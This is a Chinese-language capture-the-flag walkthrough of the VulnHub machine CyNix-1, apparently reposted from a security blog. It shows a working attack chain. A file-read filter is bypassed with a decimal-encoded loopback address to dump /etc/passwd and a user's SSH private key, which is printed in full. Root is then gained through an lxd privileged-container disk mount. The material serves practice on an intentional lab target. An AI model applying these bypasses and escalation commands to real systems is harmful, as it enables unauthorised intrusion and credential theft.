Vulnhub-CYNIX-1

admin 2024年2月10日20:25:16评论15 views字数 7207阅读24分1秒阅读模式
title: Vulnhub-CyNix-1
categories:
- VulnHub
tags:
- Linux
- nmap
- PHP
- gobuster
- burpsuite
- JavaScript
- Python
- 目录穿越
- SSH
- 任意文件读取
- 代码审计
- LXD
- LXC
cover: /images/Vulnhub.png
abbrlink: e6213721
date: 2023-02-21 12:15:09

Vulnhub CyNix-1<!--more-->

0x01 靶机介绍

  • Name: CyNix: 1

  • Date release: 18 Nov 2019

  • Author: Sumit Verma

  • Series: CyNix

  • Level: Intermediate-Hard

  • flag: user.txt root.txt

  • Description: It's a Boot2Root machine.

靶机下载地址:

https://www.vulnhub.com/entry/cynix-1,394/

0x02 侦查

端口探测

首先使用 nmap 进行端口扫描

nmap -p- -sV -sC -A 192.168.0.105 -oA namp_CyNix

Vulnhub-CYNIX-1

扫描结果显示目标开放了6688和80端口

80端口

访问http://192.168.0.105为 Apache 默认界面

Vulnhub-CYNIX-1

目录扫描

使用 gobuster 进行目录扫描,成功找到lavalamp目录

gobuster dir -u http://192.168.0.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Vulnhub-CYNIX-1

访问http://192.168.0.105/lavalamp/为博客界面

Vulnhub-CYNIX-1

针对网站再次进行目录扫描,成功发现contactform目录

gobuster dir -u http://192.168.0.104/lavalamp/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Vulnhub-CYNIX-1

访问为留言板并输入信息

Vulnhub-CYNIX-1

使用 burpsuite 抓取数据包

Vulnhub-CYNIX-1

放包后出现红框,在其中找到路径为lavalamp/canyoubypassme.php

Vulnhub-CYNIX-1

0x03 侦查[ford]

信息收集

访问http://192.168.0.104/lavalamp/canyoubypassme.php是一个黑客帝国的图片,同时标题为can you bypass me,说明可用于绕过

Vulnhub-CYNIX-1

查看源码找到其中的 JavaScript 代码,发现样式默认其实是不显示的

<script type="text/javascript"><!--    function lhook(id) {       var e = document.getElementById(id);       if(e.style.display == 'block')          e.style.display = 'none';       else          e.style.display = 'block';    }//--></script>

同时存在 POST 请求提交框,点击submit后会出现一个黑框

Vulnhub-CYNIX-1

任意文件读取

测试是否存在SSRF漏洞,在file参数中输入localhost页面未发生变化,但是当输入http://localhosthttp://127.0.0.1访问被拦截并出现提示

Vulnhub-CYNIX-1

测试是否存在目录穿越漏洞,当输入内容../时访问被拦截并出现提示

Vulnhub-CYNIX-1

表单中需要输入数字,而IP地址其实可以转化为十进制数字,比如127.0.0.1的十进制就为2130706433,借助脚本或在线网站可完成转换

在线网站:

http://www.ab126.com/system/2859.html
def ip2decimalism(ip):    dec_value = 0    v_list = ip.split('.')    v_list.reverse()    t = 1    for v in v_list:        dec_value += int(v) * t        t = t * (2 ** 8)    return dec_valuedef decimalism2ip(dec_value):    ip = ''    t = 2 ** 8    for _ in range(4):        v = dec_value % t        ip = '.' + str(v) + ip        dec_value = dec_value // t    ip = ip[1:]    return ipif __name__ == '__main__':    while(1):        ip = input()        dec_value = ip2decimalism(ip)        print(dec_value)        ip = decimalism2ip(dec_value)        print(ip)

配合IP转换后数字读取/etc/passwd,结果显示只有用户 ford 和 root 才能登录

Vulnhub-CYNIX-1

同时在/../之前加任何字符都能进行绕过

Vulnhub-CYNIX-1

SSH私钥登录

首先读取 ford 用户下.ssh目录中的 SSH 私钥

Vulnhub-CYNIX-1

-----BEGIN RSA PRIVATE KEY-----MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2BsalzYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurGzo41f/YWjC5DurNjIchz4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxzMf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuScgfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwRiEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTLDSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdlrFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSwqXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenMgMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7hdq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8bC9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLvkZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7nKVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3YQnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1+QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP/kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg=-----END RSA PRIVATE KEY-----

保存至本地并设置权限为600

chmod 600 id_rsassh -p 6688 -i id_rsa ford@192.168.0.104 

借助 SSH 私钥成功登录用户

Vulnhub-CYNIX-1

在用户家目录成功拿到第一个flag

cat user.txt

Vulnhub-CYNIX-1

0x04 权限提升[root]

代码审计

通过 find 命令找到canyoubypassme.php并查看其中源码

find / -name canyoubypassme.php -print 2>&1| grep -v "Permission denied"cat /var/www/html/lavalamp/canyoubypassme.php

Vulnhub-CYNIX-1

<?phpinclude ('head.php');echo '<table width="40%" cellspacing="0" cellpadding="0" margin="20%" class="tb1" style="margin:2% 30%;opacity: 0.0;">        <tr>            <td align=center style="padding: 3%;">                <form method=post action="' . $_SERVER['SCRIPT_NAME'] . '">Specify a number:                     <input type=text name=file placeholder=integer><br><br><input type=submit name=read value="Download the number">                </form>            </td>        </tr></table><div id="right"></div><div align=center>';if (isset($_POST['read'])) {    $file = strtolower($_POST['file']);    if ((strstr(strtolower($file), 'localhost') == true || strstr($file, '127.0.0.1') == true || strstr($file, '2130706433') == true || strstr($file, '[::]:80') == true) && preg_match('/(^https*://[^:/]+)/', $file) == true) {        echo '<table width="30%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;">                    <tr><td align=center style="padding: 10px;" >                                I'm watching you. Trying to access Localhost?                         </td></tr>                </table>                <table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="margin:10px 2px 10px;opacity: 0.6;" >';    } elseif (strstr($file, 'localhost') == false && preg_match('/(^https*://[^:/]+)/', $file) == true) {        $host = parse_url($file, PHP_URL_HOST);        if (filter_var($host, FILTER_VALIDATE_IP)) {            if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) == false) {                echo '<table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;">                            <tr><td align=center style="padding: 10px;" >                                            Hmmm, trying an IP? Haha, Try harder ;)                            </td></tr></table>                        <table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="margin:10px 2px 10px;opacity: 0.6;" >';            } else {                echo '<textarea rows=20 cols=60>' . file_get_contents($file) . "</textarea>";            }        } else {            echo '<textarea rows=20 cols=60>' . file_get_contents($file) . "</textarea>";        }    } elseif (substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {        echo '<table width="30%" cellspacing="0" cellpadding="0" class="tb1" style="opacity: 0.6;">                            <tr><td align=center style="padding: 10px;" >                                            You are not allowed to do that.                            </td></tr></table>                            <table width="50%" cellspacing="0" cellpadding="0" class="tb1" style="margin:10px 2px 10px;opacity: 0.6;" >';    } else {        echo '<textarea rows=20 cols=60>' . file_get_contents("/tmp/" . $file) . "</textarea>";    }}?>
判断语句中分析出如果存在以下其中一个(localhost、127.0.0.1、2130706433、[::]:80)和/(^https*://[^:/]+)/这些字符,会返回I'm watching you. Trying to access Localhost?
判断语句中分析出如果不存在localhost,存在/(^https*://[^:/]+)/会返回Hmmm, trying an IP? Haha, Try harder
判断语句中分析出如果从file参数0位置开始存在/../、../、./、/.、//这些字符,会返回You are not allowed to do that.
否则就可以获取文件内容,那么也就解释了为什么直接加字符也能2130706433读取到目标文件,因为一旦在前面添加任意字符,xx/../与../不同,也就能直接读取文件了
LXD/LXC提权
查看当前用户权限为 lxd 用户组,LXC/LXD 其实就是 Linux 软件容器,即 Docker 容器的前身
idgroups

Vulnhub-CYNIX-1

查看镜像列表

lxc image list

Vulnhub-CYNIX-1

导入容器的两种方式:

  • 直接创建特权容器自动下载 ubuntu18.04 并命名为mac,缺点是下载速度很慢

lxc init ubuntu:18.04 mac -c security.privileged=true

下载 Alpine 导入从 github 上下载 Alpine 再导入

git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpine

Vulnhub-CYNIX-1

搭建完成出现一个 gzip 压缩包,同时开启 http 服务

python -m SimpleHTTPServer 80

Vulnhub-CYNIX-1

在靶机中请求并利用 lxc 导入压缩文件

cd /tmpwget http://192.168.0.106/alpine-v3.14-x86_64-20210823_1412.tar.gzlxc image import ./alpine-v3.14-x86_64-20210823_1412.tar.gz --alias mac1

Vulnhub-CYNIX-1

创建容器mac1并在/mnt/root下挂载整个磁盘

lxc init mac1 mac1 -c security.privileged=true lxc config device add mac1 mac1 disk source=/ path=/mnt/root recursive=true

启动容器并交换命令,成功拿到管理员权限

lxc start mac1lxc exec mac1 /bin/sh

成功拿到第二个flag

cat /mnt/root/root/root.txt

Vulnhub-CYNIX-1

0x05 知识星球

Vulnhub-CYNIX-1

原文始发于微信公众号(狐狸说安全):Vulnhub-CYNIX-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日20:25:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub-CYNIX-1https://cn-sec.com/archives/2240626.html

发表评论

匿名网友 填写信息